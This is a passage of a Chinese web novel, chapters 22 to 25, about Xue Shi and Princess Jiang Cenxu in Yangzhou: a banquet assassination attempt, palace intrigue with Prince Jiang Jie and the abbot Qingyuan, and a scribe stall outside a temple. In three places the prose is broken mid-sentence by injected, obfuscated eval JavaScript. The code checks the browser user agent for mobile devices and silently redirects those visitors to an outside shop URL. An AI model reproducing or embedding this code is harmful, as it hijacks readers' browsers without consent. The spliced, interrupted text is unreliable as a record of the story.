“咱们刚到扬州时,我就说让小五也一起住进刺史府,她偏说什么人多吵闹,地方小,非要拉着你去请愿寺。”江措无奈地摇摇头,“不过这样也好,不然我去寺里找你也不方便。” 薛适点点头,目光看向斜前方的江岑许,江接正和她说着话,端着一副兄妹情深的样子,想来又是几番拉扯试探。 不等薛适细听,吴陵维请的杂技班已经登台,众人也止了声音,目光都被吸了过去。 跳丸飞掷,霜剑穿花,交错缭绕的身影穿梭来去,男子皆一身黑衣利落,女子各着素白潇洒。薛适简直目不暇接,这还是她第一次看见诗文中“舞双剑,跳七丸,袅巨索,掉长竿”的景象。 一旁江措也叹道:“吴大人虽日日设宴,但日日都有新花样,这杂技班与教坊司里的名手相比都不差什么。” 只是当江措看见日日照常的如云美姬也随之而来时,兴致顿时减了大半。 今日更是厉害,还有不少小倌围着江岑许,一看就是特意给她准备的。 杂技班的表演一结束,吴陵维忙笑着吩咐:“快给各位殿下斟酒。”嘴上还不忘夸着自己的热情,“这杂技班,这美人小倌,都是下官找来的全扬州技术最好的!” 小倌技术好不好……还能有个标准? 薛适听得有些尴尬,她偷瞄了眼江岑许身边的小倌,心中腹诽着:也不知江岑许看久了游目院里的,还能不能看上这全扬州最好的。 只是这一瞄,薛适却有些讶然。 怎么和刚才给江岑许抬裙子的侍从长得一模一样?还全扬州最好的呐,拿自己府里的小厮吹牛也太没诚意了些。 薛适摇了摇头,也跟着给自己倒了杯酒,举杯示敬。 斟酒声此起彼伏,薛适却从侍从给江岑许的倒酒声中,听出了些许不同。 那人手腕处似有银光短暂闪过,摩擦着袖口,轻轻碰过酒盏底壁,递到江岑许唇边。 薛适霎时呼吸一滞。 ——殿下! 22. 护佑 脚下似乎比脑子更快。 薛适从江岑许身后夺步而出,那侍从显然没反应过来这不声不响就突然出现的人影,手里的酒和袖中没握稳的刀一齐被薛适狠狠撞飞。 如此一来,像是牵一发而动全身,杂技团的人,还有围着江岑许身边的其他小倌,全都手持利器,直朝江岑许而来。 吴陵维大惊,忙颤着声下令:“保……保护好各位殿下!快!” 薛适横臂挡在江岑许面前,旁边是护着的侍卫。 小时候她虽成天被父亲逼着练武,但到底没天赋,只会些简单的三脚猫功夫自保,方才不过胜在对方措手不及。可眼下这么多刺客伪装入府,全是为了杀江岑许…… 薛适冷冷看着亭上一片混乱,脑中却越发清醒。 如果江岑许出手暴露了武功,这么多年的掩饰瓦解,必会引起风波传回京,江岑许日后肯定也步履维艰。 但要是这样僵持着,还有刺史府、江措的人帮忙,就算是江接,也不可能在众目睽睽下刀剑相向。 所以…… “殿下,快去那边!” “到后边去。” 两人的声音一同出口,混在一起,江岑许又重复了一遍:“到后边去。” 她干脆不等薛适自己动步子,直接扶着薛适的肩,两人一个调转,薛适已被护在了江岑许身后。 “殿下,咱们往大皇子那边凑。”薛适看着江岑许的背影,轻声把刚才的话说完,“刺客是奔着殿下来的,去那边,刺客被引,大皇子的人为了保护他的安危便会展开防御,咱们也能借此遮挡。” 既然江岑许不能主动出击,那她们就防好。宫中带的侍卫外加刺史府的护院,饶是刺客武功再高,也难以抵挡这么多人。 “好。” 忽然手腕一沉,薛适看见江岑许的手紧紧握在上面,幽凉如玉,在前面带着她往对面江接那靠。 在场的刺客虽然只有十五人,但各个武力非凡,尤擅轻功,所以基本抓不到人。僵持这么久,薛适愈发觉得刺客似乎并不想要江岑许死,更多的,是一种引诱和试探。 他们在逼江岑许出手。 正想着,一个刺客已飞过重重侍卫。他手中铁球一挥,就像刚才挥动着跳丸,直将后面护着薛适和江岑许的侍卫击晕,而裹挟着全部力气的掌风,再次推压着铁球朝江岑许身后袭来。 瞬息之间,眨眼的间隙。 江岑许却反应极快,稳稳揽过薛适的腰,将她猛地推向一旁。 浑沉的劲力聚于铁球,直击江岑许的胸口,狠狠落下。 “殿下!” 脑中刹那空白一片,周遭声响似被眼前画面无声平息。 薛适跌跌撞撞从地上爬起,只能眼睁睁看着江岑许虚弱地倒在地上,嘴角是满溢的鲜红,再无反应。 场面一度混乱,刺客似乎也没料到是这样的状况。为首的喊了声“撤”,其余人顿时齐刷刷逃没了踪影。 刺史府的人也顾不得去追,全围在江岑许身旁。吴陵维吓得快要原地跪下,忙遣人派大夫过来。 薛适呆呆站在原地,看着手忙脚乱的人群,眼睛涩得厉害。 “薛待诏,你怎么样,有没有受伤?”江措担忧地看着她。 薛适艰难扯出丝笑,摇了摇头:“多谢二皇子,我没事的。” “是不是吓到了,怎么脸色这么白……” 身旁站着的是江措,而她的耳边却自动响起了江岑许的声音。 她会怎么说,她都能想到那场景。 似是看到江岑许懒懒勾起嘴角,嫌弃朝她道:“啧,如果世上有妖鬼,见了薛待诏现在这副模样,怕是都能吓得直接选择原地自尽。” 薛适长睫微闪,逐渐缓过神。她下意识狠狠捏紧了袖口,也朝江岑许的方向跑去。 吴陵维请的大夫很快就赶了过来:“公主殿下虽伤势凶险,但好在吉人天相,无性命之忧。待老夫写个方子,数日便可无恙。” 江接在一旁点点头,不咸不淡开口:“既然小五受了伤,也不好再回请愿寺折腾,不如就先在刺史府住下吧。吴大人可有意见?” 吴陵维哪敢有意见,连派一干人前去服侍。 “不用了,吴大人。”薛适却是先一步出声,止住了吴陵维的动作。 “殿下喜静,厌生,就留我和殿下身边的人照顾就好,其他人还要忙着服侍大皇子和二皇子,还有查出刺客背后的人,难免忙碌。” 薛适信不过外人,江岑许刚一来刺史府就遭遇刺客,瓜田李下的,万一吴陵维和江接是一伙的,她们的一举一动便都在监视之下。 而且,江接本不该对江岑许的事上心。 即便是做戏给外人看,既然他面上都主动提了在刺史府安顿江岑许的事,没道理不提查刺客,更尽“兄妹情深”,反倒敲定了刺客十有八九与江接有关。 江措也道:“对,这刺客也不知是奔着谁来的,竟敢藏在吴大人精心准备的杂技班中还全身而退。刺杀皇室,其罪当诛。吴大人可要尽早查出,也好给小五和我们一个交代。” 吴陵维额上全是汗,忙颤身俯礼:“下官……下官明白。” 江接没说话,只是看了薛适一眼,意味深长地笑了笑,带人离开了。 江措嘱咐了薛适几句,也离开帮着去查刺客的事了。 屋里便只剩下薛适和江岑许身边最贴身的侍卫临辞。 “薛待诏今日也受了惊,不如先去歇息,这里有卑职照顾殿下就好。” 薛适看向榻上的人,即便依旧戴着面具,却掩不住脸上苍白的容色。往日所有的张扬与明媚,在此刻江岑许阖眼昏睡的时刻,仿若都变成了飘渺刺痛的残影,像是一场虚假的幻梦。 心跳忽地一滞,方才江岑许将她推开受伤倒地的画面再度袭来。 “薛待诏?”临辞见薛适一直站着不说话,不由出声唤道。 “嗯……好。” 薛适稳了稳心神,出了刺史府,往请愿寺走去。 路上,她忽地想起自己刚来长安时的心境,只觉成天活得提心吊胆,每次生死边缘都有江岑许随时等着推她一把。 可如今走来,每一次生死关头都站在她身后的,其实一直是江岑许。 甚至于不知不觉间,她们的生死也绑在了一起。 薛适不想坐以待毙。 既然江接今日出了手,她更要尽早帮着江岑许调查清楚冰心笺上的事:江接、清缘住持、长临书院之间是什么关系?他们在计划什么?密咒又是何意? 而这三者,显然请愿寺对于薛适来说更熟悉,也更方便打探消息。 思忖间已经回到了请愿寺,薛适一进来就在寺院的石桌前看到了清弥法师。 他没有和寺内其他僧人一般穿着统一的僧衣,而是一身简单的蓝色布衣,此时不知伏在桌前写些什么。 远远看去,整个人气质简约而清润,比起清缘住持的高深莫测,二十出头的清弥法师倒更像是一个留宿寺内的普通书生。 “清弥法师,这是我和二皇子这几日写的一部分内容,您看看涉及佛骨事宜的地方哪里需要改动?”薛适将写的赋递过去,想着以此切入,过会儿打探消息也不至于太刻意。 清弥法师虽有些意外这么晚了薛适还特地跑来,但并未说什么,他细细翻看着,视线落在某处时,眉毛忽地蹙起,似是不虞。 “‘众书生为贺佛骨事,特至请愿寺谈师论道,以增学识’这里,贫僧以为不可。” “法师但说无妨。” 薛适暗暗弯了弯唇。 这句其实是薛适故意后加的,因为她记得迟何曾跟她说,清弥法师一向不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081726|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜长临书院的人总来寺里,如此引清弥法师对此句不满,她也好多问问关于长临书院的事。 清弥法师沉默了好一会儿,见薛适一脸认真虚心求教的模样,到底还是开了口:“薛待诏来的时日短,所以有所不知,如今的扬州早已不是当初的扬州了。 城中百姓本就极度信奉佛法,读书人不学习,农民不劳作,将所有的希望都寄托在求佛请愿上,如果你和二皇子的这篇赋完成,届时人人传阅,那么也许不仅仅是扬州,整个大益都会开始过度痴迷佛法。 如此下去,无论普通百姓还是文人,慢慢思想变得僵化,正常人反倒成了异端,那样的景象……” 清弥法师没再说下去,但两人都明白。 如果天下变成此番模样,正常的信仰寄托变成禁锢的枷锁,所有法度将成为空谈,甚至皇权都将被架空。 薛适初到扬州时,只觉城内百姓信佛氛围浓厚,却未想到这样的美好与虔诚,原来已经逐渐异化,背离了最初的意义。 她由衷地朝清弥法师钦佩道:“法师比起所有人,更像为国为民的读书人,我会谨记法师的顾虑,删去此句,也会注意之后的行文。” 清弥法师眸光微闪,只道“不敢当”。 “不过……清缘住持也是如此想的吗?” 薛适渐渐引出真正的话题,“毕竟长临书院和请愿寺交好的契机是源于三年前瘟疫一事清缘住持的仁心,包括如今城中百姓对请愿寺和佛法的过度依赖,也是从那件事后开始。而且,似乎直到现在,清缘住持也与长临书院的书生们关系颇为不错?” 清弥法师看着薛适,良久,微微笑了笑:“薛待诏是在套贫僧的话吗?” “怎么会,只是为了写赋,多了解一些,总归会用到的。”薛适弯眼笑着,脸不红心不跳地道。 “薛待诏不愧是五公主身边的人,说的话都差不多。” 薛适微怔,这话的意思是……江岑许先前也问过清弥法师这个问题吗。 清弥法师倒没继续在这方面纠缠下去,只道:“虽然这件事上我与清缘住持意见相左,但我始终很尊敬他。三年前瘟疫的事,他救了很多人,也包括我。” “嗯?”薛适一愣,还想再问时,突然被迟何急切的声音打断了。 “师傅师傅,住持叫你去商议大祭礼需要准备的事宜。” 记得先前飞花令上有小和尚说大祭礼要选住持,薛适便也不好再耽误下去,而且她一出请愿寺,就觉得有道幽怨的目光在暗处紧紧盯着她,便别过清弥法师和迟何后立马回到了刺史府。 江岑许依旧昏睡没有醒来,薛适坐在床边,只觉脑中一片混沌。 从清弥法师这儿虽然知道了些新的事情,但好像对她们用处不大。 经历了刺杀,又往返请愿寺和刺史府几个时辰后,现在已近子时,但薛适仍没有丝毫困意,她拄着下巴静静看着江岑许,希望她能快些醒来,她也好把和清弥法师说的这些告诉她。 正想着,脖颈忽地一沉,猝不及防的疼痛和着昏睡的感觉霎时袭遍全身。 薛适死死握紧拳头想要撑起身上的力量,却还是没抵过,视线逐渐朦胧,松松歪倒下去。 但在额角磕到床沿的前一瞬,榻上响起一声轻微的窸窣,继而一抹微凉落下,被她枕在头侧。 江岑许从床上坐起,被薛适枕着的那只手微微用力,下移至后颈,另一手揽过她的腰,俯身将人从床边捞到了榻上,又将被子轻轻给她盖好。 “殿下,那之后薛待诏去请愿寺找了清弥法师。”方才站在薛适身后的临辞出声道。 “我知道了。” “还有,你下手太重了,对她仅此一次。” 说话间,江岑许已换了身黑色夜行衣,只是目光却朝床上的身影一凝,见她睡得安稳,才闪身跃出窗外。 23. 愿哄 嘶—— 第二天薛适一醒来,不过刚微侧了下头,就牵带得后颈一阵酸痛。 昨晚她好像被人从身后偷袭了,然后怎么就睡着了…… 记忆平白断掉了截,薛适总觉得这种恍惚的感觉有些似曾相识,还不等她想起,余光之中忽地被一道肆无忌惮的目光占据,薛适从床边“腾”地直起身,就看到眼前倚在榻上的人轻散淡漠的眸光。 “醒了?” 江岑许单手撑着脑袋,懒懒睨向她,云淡风轻的闲适模样,丝毫让人看不出昨日曾受了伤。 “殿下?”薛适微微睁大了眼,惺忪的视线随之愈渐清明,她终于彻底反应过来,立即弯唇笑道,“殿下你终于醒了!我去叫临辞。” “不用了。你睡着的时候,临辞已遣过大夫。” “这样啊,那就好。” 薛适没想到自己竟睡得这么沉,一点也没察觉。 江岑许慢悠悠地准备起身,薛适怕她撕痛胸口上的伤,伸手要扶,却在要触碰到江岑许手臂的时候顿了顿。 虽然她们都是女子,但外人看来总归是“男”女有别。 江岑许却是侧着额睨过去,直接伸手搭在了薛适悬在半空的手上,故意打趣她:“是想冒犯本宫,又不敢下手?” 她眼指了指架子上搭着的衣裙,直接命道,“衣服。” “是。” 薛适赶忙将衣裙卸下,递到江岑许身前,一时忘记了方才的踌躇无措。 江岑许垂眸对上薛适含笑温从的双眼,唇角也不自觉得弯了弯,她作势要够薛适手里的衣裙,却不小心踩到了飘曳的系带,脚下一滑,身子不由前倾过去。薛适惊呼一声,下意识伸手扶住了江岑许的腰。 隔着单薄的中衣,薛适能清楚感受到身前人腰间坚.挺而紧致的触感。即便早知江岑许会武,但这样的肌肉轮廓……似乎也远超于一般女子。 “薛待诏。” 轻哑的声音噙了些悠散的笑意,不咸不淡地落在头顶,薛适移触的指间倏地一缩,莫名的慌措叫嚣着,催衍出心底急促鼓跳的紧张。 “你脸红什么。” 薛适惊地抬头,赶忙将衣裙给江岑许小心穿戴好:“殿下天人之姿……微臣无意侵犯。” “无意冒犯?”江岑许余光向后扫了眼,原本含笑的声音渐冷,忽地沉道,“可如今薛待诏看也看过了,摸也摸过了,该怎么办呢。不如以死谢罪,好哄哄本宫?” 薛适被江岑许突如其来的转折弄得发愣,想不明白好端端地,怎么又回到最初动不动就让她死的时候了…… 她刚想赶紧说出昨晚和清弥法师聊到的内容保命,却听门外远远传来一阵笑声。 “小五可别这么对薛待诏,昨天薛待诏可是连本王的人都信不过,只说留他和你身边的人照顾呢,小心惹人寒心。” 江接一大早就过来看江岑许,还叫手下人带了补品,端得是一副兄妹和睦。 “哦?那多谢大哥告知了。不过,本宫的人,大哥可能不清楚,薛待诏啊,胆子小,又爱哭,脸皮也薄,可能被本宫昨晚受刺的事给吓着了,不好意思让你手底下的那些生人看到她哭鼻子。” “原来如此,薛待诏和小五还真是情谊深厚。见你醒来并无大碍,本王也就放心了。 对了,刺客的事本王和二弟已经查出来了,是潜进扬州的流寇为祸作乱,想要引起恐慌。不止是刺史府,城中其它大人的府上也遭遇了刺杀,好在本王和二弟已于昨夜派人将他们全部抓获处死。你且安心,这些日子就好好在刺史府养伤。” 江岑许没说话,只是朝江接扬了扬下巴示意她明白了。 “五公主这是何意?我们殿下如此为你殚心竭虑,你就这个态度吗?”江接身边的侍从看不下去,怒道。 江岑许却是不为所动,轻飘飘反问:“什么态度?那是要本宫像跪谢父皇一样,好好给大哥磕一个?” “好了。”江接难得没有生气,甚至很是心平气和地道,“小五还小,脾气也不好,不过本王都明白。” 说完,江接便转身带人离开了。 “怎么样?江岑许是不是真的受了伤?”一出门,江接立马阴沉下脸,朝身边扮成大夫的侍卫道。 “从五公主的脸色,和她说话的气息来看,确实无疑。” “呵,那还真是有意思了。”江接回想了下江岑许推开薛适自己受伤的场景,语气玩味,“她还真是狠心,那么重的伤宁可自己扛,也不让薛适受。也不知到底是不想暴露武功,还是因为在意薛适。” “那么重的伤,五公主却只用一个晚上就醒了过来,可见身体极好,不排除会武的可能。只是……刚刚五公主不还说要薛待诏以死哄她开心吗?这分明就是个喜怒无常的疯子,怎会在意别人?” “哼,她最好如她嘴上所说那般,否则……本王就从她这心爱的小面首开刀,一点一点,杀尽她身边所有人。” 死了个江执,又来了个比江执更难缠的江岑许。明明小时候还是个需要江执假扮替她上学堂的娇公主,长大后倒是开始深不可测了。 “告诉清缘住持,本王的计划必须尽快,越快越好,我已经不想再等下去了!” 毕竟,从小到大,父皇的宠爱一向只偏赠于许皇后的一双儿女,无论他多么努力,也抵不过江执跑向父皇的身影,和他简简单单的唤一声“父亲”。 是了,江执只要好好活着,太子的位置、朝臣的簇拥、父皇的笑容……所有权势亲情,就全都是他的。 就算江执死后,对娇蛮暴虐惹是生非的江岑许,只因她是许皇后的女儿,父皇虽面上不亲近,却也一直明里暗里默默护着。 更何况现在看来,江岑许并非表面那般不学无术。甚至眼下,父皇还在他最为看重的离宫一事上,选择了薛适提议的宫名,摆明了要重用江岑许的人。 而江岑许和薛适又知道了冰心笺的事,还跟着来了扬州。 思忖间,江接已回到自己的屋子。他直奔案前,狠狠握着笔,落下一个锋芒曲折的“忍”字。 既如此,那他就用自己的方式,让父皇看到他! - 江接走后,薛适看了眼桌上送来的补品,若有所思:“明明先前给殿下抬裙子的小厮也在刺客之列,颇为可疑,但大皇子却全推到了流寇身上,那些说辞他们自己找人假装一番也不是不可能。如此若想查证,难免要费不少功夫,反而得不偿失。 看来,大皇子此番只是想把殿下困在刺史府。但其实……” 薛适思忖了片刻,出声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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江岑许似是被她这副样子逗笑,轻咳了声,却仍散出一丝掩不住的笑意,但好在很快回到了正题:“就如你猜的那样,扬州城中有异常。” 薛适明白过来,想必江岑许不在请愿寺的日子,表面上到处游玩,实则在暗中查探。 “扬州城门检查特别严格,城内很多人都不是普通的百姓,下盘很稳,应是会武功。 还有,不知是不是因三年前江接曾到扬州治理水患,扬州百姓对江接十分崇仰,连带着本就信佛的百姓对江接这次恭迎佛骨的事也更加期待。除此之外,最近几天长临书院附近多了监视的人。” “所以殿下才答应来刺史府,好方便查探大皇子的消息?” “嗯。” “大皇子想来是为了让殿下不要继续在城中走动,发现太多,所以积极地将殿下安顿在刺史府,好在眼皮子底下监视。不过,这样正合了殿下的意。” 她将昨晚和清弥法师的一番话重复了一通,江岑许越听眉毛皱得越紧,薛适提议道:“殿下你先好好养伤,请愿寺这边先交给我,借着写赋的事也方便打探些。我想,打探的次数多了,总能知道更多关于清缘住持的异常。” “毕竟……” 如果江岑许和江接非要变成你死我活的局面—— 她希望最后活着的人,会是江岑许。 江岑许抬眼望去,就见薛适眸光清亮地看着她,唇角笑容像是春日破土的萌芽,回应了方才那句戏语。 “臣还是想多多少少能助殿下,岁岁年年,都会开心。” 24. 难掩 望着那抹灵动的身影离去,江岑许才捂着胸口咳嗽起来,临辞赶忙进来扶她坐回榻上。 “殿下你伤得这么重,还是先好生休养,晚上打探消息的事就交给属下。” “不拿我自己作赌,怎么保证让江接彻底得输?”江岑许讥诮地勾了勾唇,“而且,我要你办的另有其事。” 昨夜跟踪江接的时候并未探听到有用消息,估计刚安排过刺杀,江接也不想弄出太多动作惹人生疑,但薛适告诉的清弥法师的话却给了她很多线索。 再联系先前飞花令上那个小和尚的回答—— 长临书院和请愿寺交好是因三年前瘟疫一事清缘住持对书生们的接纳和关照。 这件事以后,长临书院的书生得以顺利科考,甚至在清缘住持的诵经祈福下纷纷高中,本不信教的书生们自此开始崇仰请愿寺,就连谈师论道的地方也设在了请愿寺。 而因天下文人之首的长临书院书生都开始信奉佛法及背后的请愿寺,加之瘟疫一事请愿寺本就处理得极为妥当,扬州百姓便也对其疯狂迷信起来。 如此,请愿寺名声大噪,并因瘟疫一事与长临书院有了深切的关联,收获了最难被宗教束缚的读书人尤其是最负盛名的长临书院书生的民心。 而请愿寺的住持清缘法师,与江接关系甚密。 三年前的瘟疫,又是在江接治理完扬州水患不久后发生的…… 本不该联想到一起的两件事,江岑许却愈发觉得其中暗藏着尚未被她发觉的牵系。 “临辞,你把江接三年前来扬州治理水患的事好好查一遍,包括他到扬州的时间、都见过什么人、去过哪些地方……大大小小所有细节,均不可遗漏。” “属下领命。” - “原来三年前扬州水患这么严重,工部都束手无策,最后是大皇子主动向皇上请命下扬州治理的吗?” 这边,请愿寺门口,薛适支了个代笔摊,亦如初到长安在平康坊那般,立的幡依旧是那句“语不惊人死不休”。 坐在一旁的江措笑了笑:“嗯。大哥虽性子有些冷,但在朝政方面他一向亲力亲为,何况是扬州的事。” “何况?”薛适想了想,犹疑道,“记得当初来崇文馆任职前,翰林院的同僚告诉我,大皇子的母妃曼妃娘娘就是扬州人,是这个缘故吗?” “不仅如此,大哥的封地也在扬州,虽然父皇并没有给我们这些皇子封地的实权,但好歹存着名义上的归属。而且大哥幼年时曾和曼妃娘娘在扬州住过不少时日,对扬州的感情自是深厚。” 薛适默默记下,怕这般探话太过生硬,末了又随口叹了句:“大皇子雄韬伟略,治水患,救千万扬州百姓于水火,令人敬佩。” 她一边说一边悉心摆弄代笔需要的纸笔,骨节分明的手白冽而修长,时不时转动几下笔,自如悠闲的模样像是春水煎茶,江措的视线不由顺着薛适指间翻扬的动作缓缓上移。 这个方向看过去,日光晃漾,散落深深浅浅的影,朦胧了原本的容色。 一时间,他好像又回到了都亭驿的那场大雨,眼前人遮着披风容颜半露,却比以往的任何时候都要显出真实的纯净。 “那薛待诏,是喜欢我大哥那样的男子吗?”江措恍了恍神,不可抑制地出声问道。 “嗯?” 请愿寺前人声嘈杂,薛适皱了皱眉,略略低下头凑近了些,认真辨听着。 第一次这般拉近的距离,江措细细凝望过去,一时间,所有的朦胧与遮掩似乎瞬间于此刻退却,他按着桌沿的手蓦地一紧,勉强笑着移开目光:“我是说……薛待诏想成为我大哥一般的人吗?” “大皇子很好。”虽然江接总想着把她和江岑许赶尽杀绝,但薛适觉得江接作为皇子,确实足够勤勉奋进。 “不过,”她弯唇笑了笑,“我只想成为自己,做一个能疏解百姓难言的代笔人就好。” 眼前的人只是垂眸执起笔,认真回复着客人代笔的需求,除此之外的所有事,好似都不能让她为之所动。 方才心中肆意股长的藤蔓忽然消缓了些许不安,转而绽出几朵小巧的花苞。 江措放下心。 他偶然发现了块珍宝,但好在,珍宝无心归属为谁。 而他想要珍之藏之的念头,不算太晚。 “二皇子,薛待诏,你们来了怎么不进去?”正想着,迟何的声音打断了他的心思。 迟何刚一踏出寺门,就见斜对面薛适和江措支了个摊子,围着的百姓还不算少。 江措见薛适写得专注,便替她回道:“是这样的,来请愿寺的这些时日,薛待诏发现有些想来寺中写祈愿符纸的百姓苦于不通文墨,迟迟不好意思进寺,薛待诏便想着替他们传达心意。” 当然,江措并不知道,薛适摆摊也是为了方便时时观察清缘住持及请愿寺的动静。 “诶,那正好!大祭礼前期的准备活动可以增一个由薛待诏亲笔写符!我这就去和师傅提议。” 迟何兴奋说着,刚要转身进去,迎面就见清弥法师已经站在了门口。 “师傅,我跟你说……” “我听见了。”清弥法师摸了摸迟何圆光光的小脑袋,又朝二皇子行了行礼,但目光最终却是落在薛适身上。 薛适抬头,两人遥遥对视一眼,薛适勾唇笑了笑,虽都没说话,但彼此心照不宣。 清弥法师朝薛适点头示礼,便转身带着迟何进去了。 薛适收回视线,继续提笔为接连不断的客人代笔。但不知怎地,昨晚她出请愿寺时那道盯着她的幽怨目光再次出现,叫人后背一凉。 “怎么了?”察觉到薛适神色的变化,江措担心道。 “没事,就是觉得……今天才第一日,生意就很不错。”薛适不动声色地环视了圈四周,见并未发现有什么奇怪的人,只得先作罢。 - “你是说,京城来的那个薛待诏正和二皇子在寺门口摆代笔摊子?代写的还都是祝福祈愿的内容?” “是。”见清缘住持的脸色沉了沉,小僧不解道,“您为何如此忧心,这……有什么不妥吗?” “无事,你先下去吧,有什么其它情况,再及时告诉我。” 清缘住持面上虽这么说,但心中却渐渐不安起来。 虽然因着三年前瘟疫一事,绝大部分扬州百姓都将他和请愿寺奉为圭臬,他也一连三年都被选为住持,但毕竟有小部分人没经历过瘟疫的事,对请愿寺虽有崇信,但却没有失去理智。 平日经常进请愿寺的人自然知道,寺内会替不通文墨的香客代写心愿,甚至一笔一笔教他们自己写下不会的文字,而留在外面请薛适帮忙代笔的,除去少部分图新鲜的人,其他应该都是不怎么进请愿寺的,所以才不知寺内也有人充当着薛适的角色。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13117134|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这些人本就没有完全为他们操纵,薛适和二皇子再这么一搅和,让这些人成了他们代笔摊子稳定的客人,就更不好被请愿寺影响和掌控了。就算这样的人占少数,但那位要做的事……也容不得半点不确定。 清缘住持叹了口气,摸出块玉哨轻轻吹响,一只雪白的鸽子飞来立于窗台,清缘住持将字条写好安放,眨眼功夫鸽子已经飞离。 …… 夕阳斜斜,一天很快过去。 薛适收了摊,拜别江措,带着新改好的赋进寺去找清弥法师。 清弥法师依旧坐在那方石桌前,甚至斟好了茶。 “法师在等我?”薛适心情颇好的模样,笑着几步跑到桌前,将赋递过去。 清弥法师却没有像昨日般立即展开,他将一盏茶推到薛适面前,不慌不忙道:“薛待诏此举是想和请愿寺抗衡,去收拢那些尚未对请愿寺产生依赖的百姓吗。” 薛适坚决地摇了摇头,纠正道:“不是和请愿寺抗衡,只是清缘住持而已,请愿寺不是还有清弥法师你么。” 薛适抿了口茶,目光灼亮地看着他,“因为法师说过,不想百姓过分沉湎于佛法上失去自我,而我只是想做他们的笔。虽力量微小,但好在还有人没有完全为佛法痴狂,他们会渴望心愿实现,也会信仰佛法,但却不会完全依附于此。蝼蚁亦可撼象,我想一天一天过去,终有一日信仰能够回归正常,扬州城的百姓也会恢复到从前的模样,不再全凭佛意,而是只听从自己。” 清弥法师错愕地看着薛适,似乎惊讶于她小小年纪却有着如此玲珑幽微的心思。 “薛待诏到底想要什么。” “清缘住持背后的人想要我的命,而我想从清缘住持下手,战胜他们好活下去。 更想依靠自己代笔的力量,让百姓不只拘于佛法。毕竟……” 薛适想起春蒐时江岑许对她说的话,一字一顿重复道,“天下这么繁华,我想做最虔诚的记录者,谱写盛景。” “薛待诏虽是女子,所思深远却比寻常男子都要厉害。” 薛适端着茶的手几不可察地抖了下,清弥法师倒并未继续拆穿薛适女扮男装的事,只是敛了敛闪烁的目光,继续道:“还有三个多月就是腊月初七大祭礼,佛骨也会在那日迎接。在此之前,薛待诏不妨多做些与大祭礼有关的代笔。 贫僧从五公主那听说薛待诏会写梵文,薛待诏不如将一些请愿的文字用梵文书写,想必百姓会极为喜欢,也与大祭礼的习俗相称。 最好再暗暗帮助前来寻求代笔的客人完成一些便于实现的心愿,如此宣传下去,求什么就能实现什么的魔力,便也不再是请愿寺的专属。” 薛适出了请愿寺,还在低头想着清弥法师说的话。冷不丁地,忽然撞上一抹坚硬的冰凉。 “殿下?” 薛适抬眸,有些意外。惯性之下她退后了几步,从江岑许胸前的衣襟移开,江岑许微一伸手,扣住了薛适的后腰,将她扶稳拉近了些。 “抱歉殿下,刚才没看路。不过,殿下你伤还没好,怎么出来了呐?” 江岑许不动声色地观察了圈四周,最后才看向薛适,她的目光幽深而绵长,上下扫了扫,然后才不慌不忙地转身往前走。 薛适跟在后面,只听江岑许带着理所当然的傲慢语调,却是似笑非笑地对她道:“因为本宫想接薛待诏回家。不行么?” 25. 由心 早已深谙了江岑许的说话方式,薛适倒不像刚认识江岑许时那般提心吊胆,反而忍不住暗暗弯了弯唇,直接选择将面前这人的话掐头去尾—— 嗯,殿下是不放心,所以特地过来接她的。 不知是不是心理作用,先前那道未知的幽怨目光似已消遁,薛适很是安心地一路跟着向前,时时紧绷戒备的身体也放松不少,都有心情好好去看看街景,上一次逛还是在中秋那天。 因而,薛适虽嘴上小声向江岑许说着今日的所有情况,但眼睛却紧紧跟随着街上各式各样的热闹。 江岑许余光看在眼里,脚下步伐悄然移向薛适感兴趣的摊位,护着她小心翼翼穿过人群。 远远看去,那是个口技摊子,摊前围了不少人。摊主是个四十出头的汉子,仅凭自己一人,却惟妙惟肖地再现了各个年龄段的女子声音,从青涩豆蔻到温婉少妇,甚至还穿插了八哥有些刺耳的叫声。 “郎君郎君!思慕思慕!”“八哥”遍遍重复着。 “美娇娘”否认:“没……没有!你别乱说!” “是了,毕竟三年前,可是这美娇娘误以为这郎君是杀父仇人,远嫁而来只为亲手将人送进大牢。”口技人切换回自己原本醇厚的声线,旁白道,“故而,又何来思慕呐。” “郎君郎君!思慕思慕!”“八哥”却依然固执地尖着嗓子,遍遍重复。 …… 等薛适和江岑许好不容易挤过人潮凑到摊前时,口技人已经准备收摊,两人只好离开,继续往马车走。 “没听到结局,很遗憾?” “八哥”的声音再度落在耳侧,薛适惊地猛然抬头:“殿……殿下?你……” 面具之下看不清江岑许的神色,只能看见她双唇张张合合,与刚才口技人如出一辙的“八哥”声音便源源吐露:“又不难,本宫凭什么不会?” “殿下厉害!”薛适觉得江岑许简直深藏不露,无所不能。 她清了清嗓,打算学着口技人旁白的醇厚声线,配合道:“微臣不遗憾,因为结局显而易见。” “哦?什么结局?”“江八哥”问道。 “那位姑娘,慕恋她的郎君。” 